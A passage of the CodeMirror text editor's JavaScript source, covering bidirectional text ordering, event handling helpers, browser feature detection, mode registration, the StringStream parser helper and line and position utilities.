/[\u0300-\u036f\u0483-\u0489\u0591-\u05bd\u05bf\u05c1\u05c2\u05c4\u05c5\u05c7\u0610-\u061a\u064b-\u065e\u0670\u06d6-\u06dc\u06de-\u06e4\u06e7\u06e8\u06ea-\u06ed\u0711\u0730-\u074a\u07a6-\u07b0\u07eb-\u07f3\u0816-\u0819\u081b-\u0823\u0825-\u0827\u0829-\u082d\u0900-\u0902\u093c\u0941-\u0948\u094d\u0951-\u0955\u0962\u0963\u0981\u09bc\u09be\u09c1-\u09c4\u09cd\u09d7\u09e2\u09e3\u0a01\u0a02\u0a3c\u0a41\u0a42\u0a47\u0a48\u0a4b-\u0a4d\u0a51\u0a70\u0a71\u0a75\u0a81\u0a82\u0abc\u0ac1-\u0ac5\u0ac7\u0ac8\u0acd\u0ae2\u0ae3\u0b01\u0b3c\u0b3e\u0b3f\u0b41-\u0b44\u0b4d\u0b56\u0b57\u0b62\u0b63\u0b82\u0bbe\u0bc0\u0bcd\u0bd7\u0c3e-\u0c40\u0c46-\u0c48\u0c4a-\u0c4d\u0c55\u0c56\u0c62\u0c63\u0cbc\u0cbf\u0cc2\u0cc6\u0ccc\u0ccd\u0cd5\u0cd6\u0ce2\u0ce3\u0d3e\u0d41-\u0d44\u0d4d\u0d57\u0d62\u0d63\u0dca\u0dcf\u0dd2-\u0dd4\u0dd6\u0ddf\u0e31\u0e34-\u0e3a\u0e47-\u0e4e\u0eb1\u0eb4-\u0eb9\u0ebb\u0ebc\u0ec8-\u0ecd\u0f18\u0f19\u0f35\u0f37\u0f39\u0f71-\u0f7e\u0f80-\u0f84\u0f86\u0f87\u0f90-\u0f97\u0f99-\u0fbc\u0fc6\u102d-\u1030\u1032-\u1037\u1039\u103a\u103d\u103e\u1058\u1059\u105e-\u1060\u1071-\u1074\u1082\u1085\u1086\u108d\u109d\u135f\u1712-\u1714\u1732-\u1734\u1752\u1753\u1772\u1773\u17b7-\u17bd\u17c6\u17c9-\u17d3\u17dd\u180b-\u180d\u18a9\u1920-\u1922\u1927\u1928\u1932\u1939-\u193b\u1a17\u1a18\u1a56\u1a58-\u1a5e\u1a60\u1a62\u1a65-\u1a6c\u1a73-\u1a7c\u1a7f\u1b00-\u1b03\u1b34\u1b36-\u1b3a\u1b3c\u1b42\u1b6b-\u1b73\u1b80\u1b81\u1ba2-\u1ba5\u1ba8\u1ba9\u1c2c-\u1c33\u1c36\u1c37\u1cd0-\u1cd2\u1cd4-\u1ce0\u1ce2-\u1ce8\u1ced\u1dc0-\u1de6\u1dfd-\u1dff\u200c\u200d\u20d0-\u20f0\u2cef-\u2cf1\u2de0-\u2dff\u302a-\u302f\u3099\u309a\ua66f-\ua672\ua67c\ua67d\ua6f0\ua6f1\ua802\ua806\ua80b\ua825\ua826\ua8c4\ua8e0-\ua8f1\ua926-\ua92d\ua947-\ua951\ua980-\ua982\ua9b3\ua9b6-\ua9b9\ua9bc\uaa29-\uaa2e\uaa31\uaa32\uaa35\uaa36\uaa43\uaa4c\uaab0\uaab2-\uaab4\uaab7\uaab8\uaabe\uaabf\uaac1\uabe5\uabe8\uabed\udc00-\udfff\ufb1e\ufe00-\ufe0f\ufe20-\ufe26\uff9e\uff9f]/;
  function isExtendingChar(ch) { return ch.charCodeAt(0) >= 768
&& extendingChars.test(ch) }

  // Returns a number from the range [`0`; `str.length`] unless `pos` is
outside that range.
  function skipExtendingChars(str, pos, dir) {
    while ((dir < 0 ? pos > 0 : pos < str.length) &&
isExtendingChar(str.charAt(pos))) { pos += dir; }
    return pos
  }

  // Returns the value from the range [`from`; `to`] that satisfies
  // `pred` and is closest to `from`. Assumes that at least `to`
  // satisfies `pred`. Supports `from` being greater than `to`.
  function findFirst(pred, from, to) {
    // At any point we are certain `to` satisfies `pred`, don't know
    // whether `from` does.
    var dir = from > to ? -1 : 1;
    for (;;) {
      if (from == to) { return from }
      var midF = (from + to) / 2, mid = dir < 0 ? Math.ceil(midF) :
Math.floor(midF);
      if (mid == from) { return pred(mid) ? from : to }
      if (pred(mid)) { to = mid; }
      else { from = mid + dir; }
    }
  }

  // BIDI HELPERS

  function iterateBidiSections(order, from, to, f) {
    if (!order) { return f(from, to, "ltr", 0) }
    var found = false;
    for (var i = 0; i < order.length; ++i) {
      var part = order[i];
      if (part.from < to && part.to > from || from == to
&& part.to == from) {
        f(Math.max(part.from, from), Math.min(part.to, to), part.level == 1
? "rtl" : "ltr", i);
        found = true;
      }
    }
    if (!found) { f(from, to, "ltr"); }
  }

  var bidiOther = null;
  function getBidiPartAt(order, ch, sticky) {
    var found;
    bidiOther = null;
    for (var i = 0; i < order.length; ++i) {
      var cur = order[i];
      if (cur.from < ch && cur.to > ch) { return i }
      if (cur.to == ch) {
        if (cur.from != cur.to && sticky == "before") {
found = i; }
        else { bidiOther = i; }
      }
      if (cur.from == ch) {
        if (cur.from != cur.to && sticky != "before") {
found = i; }
        else { bidiOther = i; }
      }
    }
    return found != null ? found : bidiOther
  }

  // Bidirectional ordering algorithm
  // See http://unicode.org/reports/tr9/tr9-13.html for the algorithm
  // that this (partially) implements.

  // One-char codes used for character types:
  // L (L):   Left-to-Right
  // R (R):   Right-to-Left
  // r (AL):  Right-to-Left Arabic
  // 1 (EN):  European Number
  // + (ES):  European Number Separator
  // % (ET):  European Number Terminator
  // n (AN):  Arabic Number
  // , (CS):  Common Number Separator
  // m (NSM): Non-Spacing Mark
  // b (BN):  Boundary Neutral
  // s (B):   Paragraph Separator
  // t (S):   Segment Separator
  // w (WS):  Whitespace
  // N (ON):  Other Neutrals

  // Returns null if characters are ordered as they appear
  // (left-to-right), or an array of sections ({from, to, level}
  // objects) in the order in which they occur visually.
  var bidiOrdering = (function() {
    // Character types for codepoints 0 to 0xff
    var lowTypes =
"bbbbbbbbbtstwsbbbbbbbbbbbbbbssstwNN%%%NNNNNN,N,N1111111111NNNNNNNLLLLLLLLLLLLLLLLLLLLLLLLLLNNNNNNLLLLLLLLLLLLLLLLLLLLLLLLLLNNNNbbbbbbsbbbbbbbbbbbbbbbbbbbbbbbbbb,N%%%%NNNNLNNNNN%%11NLNNN1LNNNNNLLLLLLLLLLLLLLLLLLLLLLLNLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLN";
    // Character types for codepoints 0x600 to 0x6f9
    var arabicTypes =
"nnnnnnNNr%%r,rNNmmmmmmmmmmmrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrmmmmmmmmmmmmmmmmmmmmmnnnnnnnnnn%nnrrrmrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrmmmmmmmnNmmmmmmrrmmNmmmmrr1111111111";
    function charType(code) {
      if (code <= 0xf7) { return lowTypes.charAt(code) }
      else if (0x590 <= code && code <= 0x5f4) { return
"R" }
      else if (0x600 <= code && code <= 0x6f9) { return
arabicTypes.charAt(code - 0x600) }
      else if (0x6ee <= code && code <= 0x8ac) { return
"r" }
      else if (0x2000 <= code && code <= 0x200b) { return
"w" }
      else if (code == 0x200c) { return "b" }
      else { return "L" }
    }

    var bidiRE = /[\u0590-\u05f4\u0600-\u06ff\u0700-\u08ac]/;
    var isNeutral = /[stwN]/, isStrong = /[LRr]/, countsAsLeft = /[Lb1n]/,
countsAsNum = /[1n]/;

    function BidiSpan(level, from, to) {
      this.level = level;
      this.from = from; this.to = to;
    }

    return function(str, direction) {
      var outerType = direction == "ltr" ? "L" :
"R";

      if (str.length == 0 || direction == "ltr" &&
!bidiRE.test(str)) { return false }
      var len = str.length, types = [];
      for (var i = 0; i < len; ++i)
        { types.push(charType(str.charCodeAt(i))); }

      // W1. Examine each non-spacing mark (NSM) in the level run, and
      // change the type of the NSM to the type of the previous
      // character. If the NSM is at the start of the level run, it will
      // get the type of sor.
      for (var i$1 = 0, prev = outerType; i$1 < len; ++i$1) {
        var type = types[i$1];
        if (type == "m") { types[i$1] = prev; }
        else { prev = type; }
      }

      // W2. Search backwards from each instance of a European number
      // until the first strong type (R, L, AL, or sor) is found. If an
      // AL is found, change the type of the European number to Arabic
      // number.
      // W3. Change all ALs to R.
      for (var i$2 = 0, cur = outerType; i$2 < len; ++i$2) {
        var type$1 = types[i$2];
        if (type$1 == "1" && cur == "r") {
types[i$2] = "n"; }
        else if (isStrong.test(type$1)) { cur = type$1; if (type$1 ==
"r") { types[i$2] = "R"; } }
      }

      // W4. A single European separator between two European numbers
      // changes to a European number. A single common separator between
      // two numbers of the same type changes to that type.
      for (var i$3 = 1, prev$1 = types[0]; i$3 < len - 1; ++i$3) {
        var type$2 = types[i$3];
        if (type$2 == "+" && prev$1 == "1"
&& types[i$3+1] == "1") { types[i$3] = "1"; }
        else if (type$2 == "," && prev$1 == types[i$3+1]
&&
                 (prev$1 == "1" || prev$1 == "n")) {
types[i$3] = prev$1; }
        prev$1 = type$2;
      }

      // W5. A sequence of European terminators adjacent to European
      // numbers changes to all European numbers.
      // W6. Otherwise, separators and terminators change to Other
      // Neutral.
      for (var i$4 = 0; i$4 < len; ++i$4) {
        var type$3 = types[i$4];
        if (type$3 == ",") { types[i$4] = "N"; }
        else if (type$3 == "%") {
          var end = (void 0);
          for (end = i$4 + 1; end < len && types[end] ==
"%"; ++end) {}
          var replace = (i$4 && types[i$4-1] == "!") ||
(end < len && types[end] == "1") ? "1" :
"N";
          for (var j = i$4; j < end; ++j) { types[j] = replace; }
          i$4 = end - 1;
        }
      }

      // W7. Search backwards from each instance of a European number
      // until the first strong type (R, L, or sor) is found. If an L is
      // found, then change the type of the European number to L.
      for (var i$5 = 0, cur$1 = outerType; i$5 < len; ++i$5) {
        var type$4 = types[i$5];
        if (cur$1 == "L" && type$4 == "1") {
types[i$5] = "L"; }
        else if (isStrong.test(type$4)) { cur$1 = type$4; }
      }

      // N1. A sequence of neutrals takes the direction of the
      // surrounding strong text if the text on both sides has the same
      // direction. European and Arabic numbers act as if they were R in
      // terms of their influence on neutrals. Start-of-level-run (sor)
      // and end-of-level-run (eor) are used at level run boundaries.
      // N2. Any remaining neutrals take the embedding direction.
      for (var i$6 = 0; i$6 < len; ++i$6) {
        if (isNeutral.test(types[i$6])) {
          var end$1 = (void 0);
          for (end$1 = i$6 + 1; end$1 < len &&
isNeutral.test(types[end$1]); ++end$1) {}
          var before = (i$6 ? types[i$6-1] : outerType) == "L";
          var after = (end$1 < len ? types[end$1] : outerType) ==
"L";
          var replace$1 = before == after ? (before ? "L" :
"R") : outerType;
          for (var j$1 = i$6; j$1 < end$1; ++j$1) { types[j$1] =
replace$1; }
          i$6 = end$1 - 1;
        }
      }

      // Here we depart from the documented algorithm, in order to avoid
      // building up an actual levels array. Since there are only three
      // levels (0, 1, 2) in an implementation that doesn't take
      // explicit embedding into account, we can build up the order on
      // the fly, without following the level-based algorithm.
      var order = [], m;
      for (var i$7 = 0; i$7 < len;) {
        if (countsAsLeft.test(types[i$7])) {
          var start = i$7;
          for (++i$7; i$7 < len &&
countsAsLeft.test(types[i$7]); ++i$7) {}
          order.push(new BidiSpan(0, start, i$7));
        } else {
          var pos = i$7, at = order.length, isRTL = direction ==
"rtl" ? 1 : 0;
          for (++i$7; i$7 < len && types[i$7] != "L";
++i$7) {}
          for (var j$2 = pos; j$2 < i$7;) {
            if (countsAsNum.test(types[j$2])) {
              if (pos < j$2) { order.splice(at, 0, new BidiSpan(1, pos,
j$2)); at += isRTL; }
              var nstart = j$2;
              for (++j$2; j$2 < i$7 &&
countsAsNum.test(types[j$2]); ++j$2) {}
              order.splice(at, 0, new BidiSpan(2, nstart, j$2));
              at += isRTL;
              pos = j$2;
            } else { ++j$2; }
          }
          if (pos < i$7) { order.splice(at, 0, new BidiSpan(1, pos,
i$7)); }
        }
      }
      if (direction == "ltr") {
        if (order[0].level == 1 && (m = str.match(/^\s+/))) {
          order[0].from = m[0].length;
          order.unshift(new BidiSpan(0, 0, m[0].length));
        }
        if (lst(order).level == 1 && (m = str.match(/\s+$/))) {
          lst(order).to -= m[0].length;
          order.push(new BidiSpan(0, len - m[0].length, len));
        }
      }

      return direction == "rtl" ? order.reverse() : order
    }
  })();

  // Get the bidi ordering for the given line (and cache it). Returns
  // false for lines that are fully left-to-right, and an array of
  // BidiSpan objects otherwise.
  function getOrder(line, direction) {
    var order = line.order;
    if (order == null) { order = line.order = bidiOrdering(line.text,
direction); }
    return order
  }

  // EVENT HANDLING

  // Lightweight event framework. on/off also work on DOM nodes,
  // registering native DOM handlers.

  var noHandlers = [];

  var on = function(emitter, type, f) {
    if (emitter.addEventListener) {
      emitter.addEventListener(type, f, false);
    } else if (emitter.attachEvent) {
      emitter.attachEvent("on" + type, f);
    } else {
      var map = emitter._handlers || (emitter._handlers = {});
      map[type] = (map[type] || noHandlers).concat(f);
    }
  };

  function getHandlers(emitter, type) {
    return emitter._handlers && emitter._handlers[type] ||
noHandlers
  }

  function off(emitter, type, f) {
    if (emitter.removeEventListener) {
      emitter.removeEventListener(type, f, false);
    } else if (emitter.detachEvent) {
      emitter.detachEvent("on" + type, f);
    } else {
      var map = emitter._handlers, arr = map && map[type];
      if (arr) {
        var index = indexOf(arr, f);
        if (index > -1)
          { map[type] = arr.slice(0, index).concat(arr.slice(index + 1)); }
      }
    }
  }

  function signal(emitter, type /*, values...*/) {
    var handlers = getHandlers(emitter, type);
    if (!handlers.length) { return }
    var args = Array.prototype.slice.call(arguments, 2);
    for (var i = 0; i < handlers.length; ++i) { handlers[i].apply(null,
args); }
  }

  // The DOM events that CodeMirror handles can be overridden by
  // registering a (non-DOM) handler on the editor for the event name,
  // and preventDefault-ing the event in that handler.
  function signalDOMEvent(cm, e, override) {
    if (typeof e == "string")
      { e = {type: e, preventDefault: function() { this.defaultPrevented =
true; }}; }
    signal(cm, override || e.type, cm, e);
    return e_defaultPrevented(e) || e.codemirrorIgnore
  }

  function signalCursorActivity(cm) {
    var arr = cm._handlers && cm._handlers.cursorActivity;
    if (!arr) { return }
    var set = cm.curOp.cursorActivityHandlers ||
(cm.curOp.cursorActivityHandlers = []);
    for (var i = 0; i < arr.length; ++i) { if (indexOf(set, arr[i]) ==
-1)
      { set.push(arr[i]); } }
  }

  function hasHandler(emitter, type) {
    return getHandlers(emitter, type).length > 0
  }

  // Add on and off methods to a constructor's prototype, to make
  // registering events on such objects more convenient.
  function eventMixin(ctor) {
    ctor.prototype.on = function(type, f) {on(this, type, f);};
    ctor.prototype.off = function(type, f) {off(this, type, f);};
  }

  // Due to the fact that we still support jurassic IE versions, some
  // compatibility wrappers are needed.

  function e_preventDefault(e) {
    if (e.preventDefault) { e.preventDefault(); }
    else { e.returnValue = false; }
  }
  function e_stopPropagation(e) {
    if (e.stopPropagation) { e.stopPropagation(); }
    else { e.cancelBubble = true; }
  }
  function e_defaultPrevented(e) {
    return e.defaultPrevented != null ? e.defaultPrevented : e.returnValue
== false
  }
  function e_stop(e) {e_preventDefault(e); e_stopPropagation(e);}

  function e_target(e) {return e.target || e.srcElement}
  function e_button(e) {
    var b = e.which;
    if (b == null) {
      if (e.button & 1) { b = 1; }
      else if (e.button & 2) { b = 3; }
      else if (e.button & 4) { b = 2; }
    }
    if (mac && e.ctrlKey && b == 1) { b = 3; }
    return b
  }

  // Detect drag-and-drop
  var dragAndDrop = function() {
    // There is *some* kind of drag-and-drop support in IE6-8, but I
    // couldn't get it to work yet.
    if (ie && ie_version < 9) { return false }
    var div = elt('div');
    return "draggable" in div || "dragDrop" in div
  }();

  var zwspSupported;
  function zeroWidthElement(measure) {
    if (zwspSupported == null) {
      var test = elt("span", "\u200b");
      removeChildrenAndAdd(measure, elt("span", [test,
document.createTextNode("x")]));
      if (measure.firstChild.offsetHeight != 0)
        { zwspSupported = test.offsetWidth <= 1 &&
test.offsetHeight > 2 && !(ie && ie_version < 8); }
    }
    var node = zwspSupported ? elt("span", "\u200b") :
      elt("span", "\u00a0", null, "display:
inline-block; width: 1px; margin-right: -1px");
    node.setAttribute("cm-text", "");
    return node
  }

  // Feature-detect IE's crummy client rect reporting for bidi text
  var badBidiRects;
  function hasBadBidiRects(measure) {
    if (badBidiRects != null) { return badBidiRects }
    var txt = removeChildrenAndAdd(measure,
document.createTextNode("A\u062eA"));
    var r0 = range(txt, 0, 1).getBoundingClientRect();
    var r1 = range(txt, 1, 2).getBoundingClientRect();
    removeChildren(measure);
    if (!r0 || r0.left == r0.right) { return false } // Safari returns null
in some cases (#2780)
    return badBidiRects = (r1.right - r0.right < 3)
  }

  // See if "".split is the broken IE version, if so, provide an
  // alternative way to split lines.
  var splitLinesAuto = "\n\nb".split(/\n/).length != 3 ? function
(string) {
    var pos = 0, result = [], l = string.length;
    while (pos <= l) {
      var nl = string.indexOf("\n", pos);
      if (nl == -1) { nl = string.length; }
      var line = string.slice(pos, string.charAt(nl - 1) == "\r"
? nl - 1 : nl);
      var rt = line.indexOf("\r");
      if (rt != -1) {
        result.push(line.slice(0, rt));
        pos += rt + 1;
      } else {
        result.push(line);
        pos = nl + 1;
      }
    }
    return result
  } : function (string) { return string.split(/\r\n?|\n/); };

  var hasSelection = window.getSelection ? function (te) {
    try { return te.selectionStart != te.selectionEnd }
    catch(e) { return false }
  } : function (te) {
    var range;
    try {range = te.ownerDocument.selection.createRange();}
    catch(e) {}
    if (!range || range.parentElement() != te) { return false }
    return range.compareEndPoints("StartToEnd", range) != 0
  };

  var hasCopyEvent = (function () {
    var e = elt("div");
    if ("oncopy" in e) { return true }
    e.setAttribute("oncopy", "return;");
    return typeof e.oncopy == "function"
  })();

  var badZoomedRects = null;
  function hasBadZoomedRects(measure) {
    if (badZoomedRects != null) { return badZoomedRects }
    var node = removeChildrenAndAdd(measure, elt("span",
"x"));
    var normal = node.getBoundingClientRect();
    var fromRange = range(node, 0, 1).getBoundingClientRect();
    return badZoomedRects = Math.abs(normal.left - fromRange.left) > 1
  }

  // Known modes, by name and by MIME
  var modes = {}, mimeModes = {};

  // Extra arguments are stored as the mode's dependencies, which is
  // used by (legacy) mechanisms like loadmode.js to automatically
  // load a mode. (Preferred mechanism is the require/define calls.)
  function defineMode(name, mode) {
    if (arguments.length > 2)
      { mode.dependencies = Array.prototype.slice.call(arguments, 2); }
    modes[name] = mode;
  }

  function defineMIME(mime, spec) {
    mimeModes[mime] = spec;
  }

  // Given a MIME type, a {name, ...options} config object, or a name
  // string, return a mode config object.
  function resolveMode(spec) {
    if (typeof spec == "string" &&
mimeModes.hasOwnProperty(spec)) {
      spec = mimeModes[spec];
    } else if (spec && typeof spec.name == "string"
&& mimeModes.hasOwnProperty(spec.name)) {
      var found = mimeModes[spec.name];
      if (typeof found == "string") { found = {name: found}; }
      spec = createObj(found, spec);
      spec.name = found.name;
    } else if (typeof spec == "string" &&
/^[\w\-]+\/[\w\-]+\+xml$/.test(spec)) {
      return resolveMode("application/xml")
    } else if (typeof spec == "string" &&
/^[\w\-]+\/[\w\-]+\+json$/.test(spec)) {
      return resolveMode("application/json")
    }
    if (typeof spec == "string") { return {name: spec} }
    else { return spec || {name: "null"} }
  }

  // Given a mode spec (anything that resolveMode accepts), find and
  // initialize an actual mode object.
  function getMode(options, spec) {
    spec = resolveMode(spec);
    var mfactory = modes[spec.name];
    if (!mfactory) { return getMode(options, "text/plain") }
    var modeObj = mfactory(options, spec);
    if (modeExtensions.hasOwnProperty(spec.name)) {
      var exts = modeExtensions[spec.name];
      for (var prop in exts) {
        if (!exts.hasOwnProperty(prop)) { continue }
        if (modeObj.hasOwnProperty(prop)) { modeObj["_" + prop] =
modeObj[prop]; }
        modeObj[prop] = exts[prop];
      }
    }
    modeObj.name = spec.name;
    if (spec.helperType) { modeObj.helperType = spec.helperType; }
    if (spec.modeProps) { for (var prop$1 in spec.modeProps)
      { modeObj[prop$1] = spec.modeProps[prop$1]; } }

    return modeObj
  }

  // This can be used to attach properties to mode objects from
  // outside the actual mode definition.
  var modeExtensions = {};
  function extendMode(mode, properties) {
    var exts = modeExtensions.hasOwnProperty(mode) ? modeExtensions[mode] :
(modeExtensions[mode] = {});
    copyObj(properties, exts);
  }

  function copyState(mode, state) {
    if (state === true) { return state }
    if (mode.copyState) { return mode.copyState(state) }
    var nstate = {};
    for (var n in state) {
      var val = state[n];
      if (val instanceof Array) { val = val.concat([]); }
      nstate[n] = val;
    }
    return nstate
  }

  // Given a mode and a state (for that mode), find the inner mode and
  // state at the position that the state refers to.
  function innerMode(mode, state) {
    var info;
    while (mode.innerMode) {
      info = mode.innerMode(state);
      if (!info || info.mode == mode) { break }
      state = info.state;
      mode = info.mode;
    }
    return info || {mode: mode, state: state}
  }

  function startState(mode, a1, a2) {
    return mode.startState ? mode.startState(a1, a2) : true
  }

  // STRING STREAM

  // Fed to the mode parsers, provides helper functions to make
  // parsers more succinct.

  var StringStream = function(string, tabSize, lineOracle) {
    this.pos = this.start = 0;
    this.string = string;
    this.tabSize = tabSize || 8;
    this.lastColumnPos = this.lastColumnValue = 0;
    this.lineStart = 0;
    this.lineOracle = lineOracle;
  };

  StringStream.prototype.eol = function () {return this.pos >=
this.string.length};
  StringStream.prototype.sol = function () {return this.pos ==
this.lineStart};
  StringStream.prototype.peek = function () {return
this.string.charAt(this.pos) || undefined};
  StringStream.prototype.next = function () {
    if (this.pos < this.string.length)
      { return this.string.charAt(this.pos++) }
  };
  StringStream.prototype.eat = function (match) {
    var ch = this.string.charAt(this.pos);
    var ok;
    if (typeof match == "string") { ok = ch == match; }
    else { ok = ch && (match.test ? match.test(ch) : match(ch)); }
    if (ok) {++this.pos; return ch}
  };
  StringStream.prototype.eatWhile = function (match) {
    var start = this.pos;
    while (this.eat(match)){}
    return this.pos > start
  };
  StringStream.prototype.eatSpace = function () {
    var start = this.pos;
    while (/[\s\u00a0]/.test(this.string.charAt(this.pos))) { ++this.pos; }
    return this.pos > start
  };
  StringStream.prototype.skipToEnd = function () {this.pos =
this.string.length;};
  StringStream.prototype.skipTo = function (ch) {
    var found = this.string.indexOf(ch, this.pos);
    if (found > -1) {this.pos = found; return true}
  };
  StringStream.prototype.backUp = function (n) {this.pos -= n;};
  StringStream.prototype.column = function () {
    if (this.lastColumnPos < this.start) {
      this.lastColumnValue = countColumn(this.string, this.start,
this.tabSize, this.lastColumnPos, this.lastColumnValue);
      this.lastColumnPos = this.start;
    }
    return this.lastColumnValue - (this.lineStart ?
countColumn(this.string, this.lineStart, this.tabSize) : 0)
  };
  StringStream.prototype.indentation = function () {
    return countColumn(this.string, null, this.tabSize) -
      (this.lineStart ? countColumn(this.string, this.lineStart,
this.tabSize) : 0)
  };
  StringStream.prototype.match = function (pattern, consume,
caseInsensitive) {
    if (typeof pattern == "string") {
      var cased = function (str) { return caseInsensitive ?
str.toLowerCase() : str; };
      var substr = this.string.substr(this.pos, pattern.length);
      if (cased(substr) == cased(pattern)) {
        if (consume !== false) { this.pos += pattern.length; }
        return true
      }
    } else {
      var match = this.string.slice(this.pos).match(pattern);
      if (match && match.index > 0) { return null }
      if (match && consume !== false) { this.pos +=
match[0].length; }
      return match
    }
  };
  StringStream.prototype.current = function (){return
this.string.slice(this.start, this.pos)};
  StringStream.prototype.hideFirstChars = function (n, inner) {
    this.lineStart += n;
    try { return inner() }
    finally { this.lineStart -= n; }
  };
  StringStream.prototype.lookAhead = function (n) {
    var oracle = this.lineOracle;
    return oracle && oracle.lookAhead(n)
  };
  StringStream.prototype.baseToken = function () {
    var oracle = this.lineOracle;
    return oracle && oracle.baseToken(this.pos)
  };

  // Find the line object corresponding to the given line number.
  function getLine(doc, n) {
    n -= doc.first;
    if (n < 0 || n >= doc.size) { throw new Error("There is no
line " + (n + doc.first) + " in the document.") }
    var chunk = doc;
    while (!chunk.lines) {
      for (var i = 0;; ++i) {
        var child = chunk.children[i], sz = child.chunkSize();
        if (n < sz) { chunk = child; break }
        n -= sz;
      }
    }
    return chunk.lines[n]
  }

  // Get the part of a document between two positions, as an array of
  // strings.
  function getBetween(doc, start, end) {
    var out = [], n = start.line;
    doc.iter(start.line, end.line + 1, function (line) {
      var text = line.text;
      if (n == end.line) { text = text.slice(0, end.ch); }
      if (n == start.line) { text = text.slice(start.ch); }
      out.push(text);
      ++n;
    });
    return out
  }
  // Get the lines between from and to, as array of strings.
  function getLines(doc, from, to) {
    var out = [];
    doc.iter(from, to, function (line) { out.push(line.text); }); // iter
aborts when callback returns truthy value
    return out
  }

  // Update the height of a line, propagating the height change
  // upwards to parent nodes.
  function updateLineHeight(line, height) {
    var diff = height - line.height;
    if (diff) { for (var n = line; n; n = n.parent) { n.height += diff; } }
  }

  // Given a line object, find its line number by walking up through
  // its parent links.
  function lineNo(line) {
    if (line.parent == null) { return null }
    var cur = line.parent, no = indexOf(cur.lines, line);
    for (var chunk = cur.parent; chunk; cur = chunk, chunk = chunk.parent)
{
      for (var i = 0;; ++i) {
        if (chunk.children[i] == cur) { break }
        no += chunk.children[i].chunkSize();
      }
    }
    return no + cur.first
  }

  // Find the line at the given vertical position, using the height
  // information in the document tree.
  function lineAtHeight(chunk, h) {
    var n = chunk.first;
    outer: do {
      for (var i$1 = 0; i$1 < chunk.children.length; ++i$1) {
        var child = chunk.children[i$1], ch = child.height;
        if (h < ch) { chunk = child; continue outer }
        h -= ch;
        n += child.chunkSize();
      }
      return n
    } while (!chunk.lines)
    var i = 0;
    for (; i < chunk.lines.length; ++i) {
      var line = chunk.lines[i], lh = line.height;
      if (h < lh) { break }
      h -= lh;
    }
    return n + i
  }

  function isLine(doc, l) {return l >= doc.first && l <
doc.first + doc.size}

  function lineNumberFor(options, i) {
    return String(options.lineNumberFormatter(i + options.firstLineNumber))
  }

  // A Pos instance represents a position within the text.
  function Pos(line, ch, sticky) {
    if ( sticky === void 0 ) sticky = null;

    if (!(this instanceof Pos)) { return new Pos(line, ch, sticky) }
    this.line = line;
    this.ch = ch;
    this.sticky = sticky;
  }

  // Compare two positions, return 0 if they are the same, a negative
  // number when a is less, and a positive number otherwise.
  function cmp(a, b) { return a.line - b.line || a.ch - b.ch }

  function equalCursorPos(a, b) { return a.sticky == b.sticky &&
cmp(a, b) == 0 }

  function copyPos(x) {return Pos(x.line, x.ch)}
  function maxPos(a, b) { return cmp(a, b) < 0 ? b : a }
  function minPos(a, b) { return cmp(a, b) < 0 ? a : b }

  // Most of the external API clips given positions to make sure they
  // actually exist within the document.
  function clipLine(doc, n) {return Math.max(doc.first, Math.min(n,
doc.first + doc.size - 1))}
  function clipPos(doc, pos) {
    if (pos.line < doc.first) { return Pos(doc.first, 0) }
    var last = doc.first + doc.size - 1;
    if (pos.line > last) { return Pos(last, getLine(doc,
last).text.length) }
    return clipToLen(pos, getLine(doc, pos.line).text.length)
  }
  function clipToLen(pos, linelen) {
    var ch = pos.ch;
    if (ch == null || ch > linelen) { return Pos(pos.line, linelen) }
    else if (ch < 0) { return Pos(pos.line, 0) }
    else { return pos }
  }
  function clipPosArray(doc, array) {
    var out = [];
    for (var i = 0; i < array.length; i++) { out[i] = clipPos(doc,
array[i]); }
    return out
  }

  var SavedContext = function(state, lookAhead) {
    this.state = state;
    this.lookAhead = lookAhead;
  };

  var Context = function(doc, state, line, lookAhead) {
    this.state = state;
    this.doc = doc;
    this.line = line;
    this.maxLookAhead = lookAhead || 0;
    this.baseTokens = null;
    this.baseTokenPos = 1;
  };

  Context.prototype.lookAhead = function (n) {
    var line = this.doc.getLine(this.line + n);
    if (line != null && n > this.maxLookAhead) {
this.maxLookAhead = n; }
    return line
  };

  Context.prototype.baseToken = function (n) {
    if (!this.baseTokens) { return null }
    while (this.baseTokens[this.baseTokenPos] <= n)
      { this.baseTokenPos += 2; }
    var type = this.baseTokens[this.baseTokenPos + 1];
    return {type: type && type.replace(/( |^)overlay .*/,
""),
            size: this.baseTokens[this.baseTokenPos] - n}
  };

  Context.prototype.nextLine = function () {
    this.line++;
    if (this.maxLookAhead > 0) { this.maxLookAhead--; }
  };

  Context.fromSaved = function (doc, saved, line) {
    if (saved instanceof SavedContext)
      { return new Context(doc, copyState(doc.mode, saved.state), line,
saved.lookAhead) }
    else
      { return new Context(doc, copyState(doc.mode, saved), line) }
  };

  Context.prototype.save = function (copy) {
    var state = copy !== false ? copyState(this.doc.mode, this.state) :
this.state;
    return this.maxLookAhead > 0 ? new SavedContext(state,
this.maxLookAhead) : state
  };


  // Compute a style array (an array starting with a mode generation
  // -- for invalidation -- followed by pairs of end positions and
  // style strings), which is used to highlight the tokens on the
  // line.
  function highlightLine(cm, line, context, forceToEnd) {
    // A styles array always starts with a number identifying the
    // mode/overlays that it is based on (for easy invalidation).
    var st = [cm.state.modeGen], lineClasses = {};
    // Compute the base array of styles
    runMode(cm, line.text, cm.doc.mode, context, function (end, style) {
return st.push(end, style); },
            lineClasses, forceToEnd);
    var state = context.state;

    // Run overlays, adjust style array.
    var loop = function ( o ) {
      context.baseTokens = st;
      var overlay = cm.state.overlays[o], i = 1, at = 0;
      context.state = true;
      runMode(cm, line.text, overlay.mode, context, function (end, style) {
        var start = i;
        // Ensure there's a token end at the current position, and
that i points at it
        while (at < end) {
          var i_end = st[i];
          if (i_end > end)
            { st.splice(i, 1, end, st[i+1], i_end); }
          i += 2;
          at = Math.min(end, i_end);
        }
        if (!style) { return }
        if (overlay.opaque) {
          st.splice(start, i - start, end, "overlay " + style);
          i = start + 2;
        } else {
          for (; start < i; start += 2) {
            var cur = st[start+1];
            st[start+1] = (cur ? cur + " " : "") +
"overlay " + style;
          }
        }
      }, lineClasses);
      context.state = state;
      context.baseTokens = null;
      context.baseTokenPos = 1;
    };

    for (var o = 0; o < cm.state.overlays.length; ++o) loop( o );

    return {styles: st, classes: lineClasses.bgClass ||
lineClasses.textClass ? lineClasses : null}
  }

